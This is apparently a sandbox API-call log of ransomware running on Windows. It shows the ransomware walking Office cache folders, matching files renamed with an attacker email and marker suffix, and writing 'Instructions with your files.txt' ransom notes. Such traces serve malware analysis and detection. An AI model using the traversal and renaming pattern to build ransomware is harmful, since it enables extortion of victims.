[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0114.998] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0114.998] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x872b0d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0114.998] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0114.998] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0114.999] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0115.000] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0115.000] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0115.000] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0115.000] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0115.000] CloseHandle (hObject=0x10c) returned 1
[0115.000] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0115.000] GetProcessHeap () returned 0x810000
[0115.000] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0115.000] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8830e4c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1
[0115.000] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 66
[0115.000] GetProcessHeap () returned 0x810000
[0115.000] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0115.000] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*") returned 68
[0115.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8830e4c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0115.002] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.") returned 68
[0115.002] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0115.002] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8830e4c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.003] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..") returned 69
[0115.003] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0115.003] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x874079e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
[0115.003] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 71
[0115.003] GetProcessHeap () returned 0x810000
[0115.003] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0115.003] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*") returned 73
[0115.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x874079e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0115.004] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\.") returned 73
[0115.004] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x874079e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.004] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\..") returned 74
[0115.004] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a688, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="DWINTL~1.COM")) returned 1
[0115.004] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 126
[0115.004] StrStrIW (lpFirst="dwintl20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.004] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x874079e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x874079e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0115.004] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Instructions with your files.txt") returned 104
[0115.004] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0115.004] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x874079e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x874079e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x874079e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0115.004] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Instructions with your files.txt") returned 104
[0115.004] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0115.004] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0115.005] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0115.005] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0115.005] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0115.006] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0115.006] CloseHandle (hObject=0x110) returned 1
[0115.006] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0115.006] GetProcessHeap () returned 0x810000
[0115.006] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0115.006] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0x8816b5a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x91a75, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="BRANDI~1.COM")) returned 1
[0115.006] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.006] StrStrIW (lpFirst="branding.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.006] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0x88191700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xccc88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="DW20EX~1.COM")) returned 1
[0115.006] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 117
[0115.006] StrStrIW (lpFirst="DW20.EXE_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.006] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0x88191700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x80860, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="DWDCW2~1.COM")) returned 1
[0115.006] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0115.006] StrStrIW (lpFirst="dwdcw20.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.006] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0x88191700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7eea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="DWTRIG~1.COM")) returned 1
[0115.006] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.006] StrStrIW (lpFirst="dwtrig20.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.006] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8830e4c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8830e4c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8830e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0115.006] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0115.006] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0x881b7860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x841, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="MICROS~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 136
[0115.007] StrStrIW (lpFirst="Microsoft.VC90.CRT.manifest_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0x881b7860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa0300, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="MSVCR9~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0115.007] StrStrIW (lpFirst="msvcr90.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x88275f40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd79382, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.007] StrStrIW (lpFirst="OfficeLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x88275f40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x387f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~2.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0115.007] StrStrIW (lpFirst="OfficeMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x88275f40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x16b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~3.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0115.007] StrStrIW (lpFirst="OfficeMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x882c2200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd4300, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~4.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0115.007] StrStrIW (lpFirst="OfficeMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.007] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x882e8360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OF2C96~1.COM")) returned 1
[0115.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0115.007] StrStrIW (lpFirst="OfficeMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
